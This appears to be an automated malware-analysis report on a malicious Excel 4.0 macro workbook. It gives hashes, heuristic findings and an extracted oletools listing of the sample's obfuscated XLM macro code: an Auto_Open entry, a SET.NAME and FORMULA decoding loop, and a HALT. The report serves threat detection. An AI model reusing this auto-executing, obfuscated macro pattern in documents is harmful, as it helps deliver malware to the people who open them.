Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5904e23286ddd23e…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:41:01 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: 45fb281ce861c3acc8382d0389f50b84 SHA-1: cc4b87711799f6ef38b4231d5ec1901171354cb2 SHA-256: 5904e23286ddd23e52d7e4adff46af62d26f226e19543f22bc56cd627dae956c
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6401 bytes
SHA-256: e60e49080fe45ba655ef82b17f846985abc1816d1c3f6b32d2fad3880c58b800
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  zTh
' 0018     26 LABEL : Cell Value, String Constant - ADEamfDyqbl len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E147 
' 0018     20 LABEL : Cell Value, String Constant - AZxAq len=0 
' 0018     25 LABEL : Cell Value, String Constant - BjEYhCoYsu len=0 
' 0018     22 LABEL : Cell Value, String Constant - dlYZJHS len=0 
' 0018     23 LABEL : Cell Value, String Constant - eAfoMjrF len=0 
' 0018     23 LABEL : Cell Value, String Constant - HTnzEjBr len=0 
' 0018     26 LABEL : Cell Value, String Constant - jbQoIdxRqbK len=0 
' 0018     21 LABEL : Cell Value, String Constant - kRxEuP len=0 
' 0018     27 LABEL : Cell Value, String Constant - lSdpbjeckOAa len=0 
' 0018     22 LABEL : Cell Value, String Constant - MIDlrgi len=0 
' 0018     26 LABEL : Cell Value, String Constant - NBCZmrqarSP len=0 
' 0018     25 LABEL : Cell Value, String Constant - OpHyYzCBuU len=0 
' 0018     26 LABEL : Cell Value, String Constant - OvVfvKaRQsG len=0 
' 0018     21 LABEL : Cell Value, String Constant - PFzVDj len=0 
' 0018     26 LABEL : Cell Value, String Constant - rPzWfibmDis len=0 
' 0018     25 LABEL : Cell Value, String Constant - RSOKyFiaZG len=0 
' 0018     27 LABEL : Cell Value, String Constant - sgtaNBXAbpqa len=0 
' 0018     26 LABEL : Cell Value, String Constant - tqQdpMZjosA len=0 
' 0018     23 LABEL : Cell Value, String Constant - uEAmppfX len=0 
' 0018     24 LABEL : Cell Value, String Constant - WYMHjNjXd len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  zTh,E47,"SET.NAME("OvVfvKaRQsG",VALUE("0"))",""
'  zTh,E52,"SET.NAME("sgtaNBXAbpqa",OvVfvKaRQsG)",""
'  zTh,E57,"SET.NAME("kRxEuP",OvVfvKaRQsG)",""
'  zTh,E60,"SET.NAME("MIDlrgi",COUNTA(HTnzEjBr))",""
'  zTh,E64,"SET.NAME("NBCZmrqarSP",COUNTA(AZxAq))",""
'  zTh,E66,[],""
'  zTh,E70,"SET.NAME("PFzVDj","")",""
'  zTh,E74,"sgtaNBXAbpqa",""
'  zTh,E79,"SET.NAME("BjEYhCoYsu",HLOOKUP("*",HTnzEjBr,sgtaNBXAbpqa,FALSE))",""
'  zTh,E83,"ADEamfDyqbl",""
'  zTh,E87,"SET.NAME("eAfoMjrF",OvVfvKaRQsG)",""
'  zTh,E92,[],""
'  zTh,E95,"eAfoMjrF",""
'  zTh,E98,"dlYZJHS",""
'  zTh,E102,"OpHyYzCBuU",""
'  zTh,E106,"tqQdpMZjosA",""
'  zTh,E110,"SET.NAME("lSdpbjeckOAa",VALUE(HLOOKUP("*",AZxAq,tqQdpMZjosA,FALSE)))",""
'  zTh,E113,"uEAmppfX",""
'  zTh,E116,"PFzVDj",""
'  zTh,E120,"kRxEuP",""
'  zTh,E122,NEXT(),""
'  zTh,E127,"WYMHjNjXd",""
'  zTh,E129,"SET.NAME("f",INT(T(FORMULA(T(PFzVDj)&"",""&T(WYMHjNjXd)))))",""
'  zTh,E134,"RSOKyFiaZG",""
'  zTh,E139,NEXT(),""
'  zTh,E144,RETURN(),""
'  zTh,E174,"SET.NAME("jbQoIdxRqbK",E47)",""
'  zTh,E177,"HTnzEjBr",""
'  zTh,E182,"SET.NAME("AZxAq",R45C15)",""
'  zTh,E184,"SET.NAME("RSOKyFiaZG",193)",""
'  zTh,E189,"SET.NAME("rPzWfibmDis",5)",""
'  zTh,E192,jbQoIdxRqbK(),""
'  zTh,E193,HALT(),""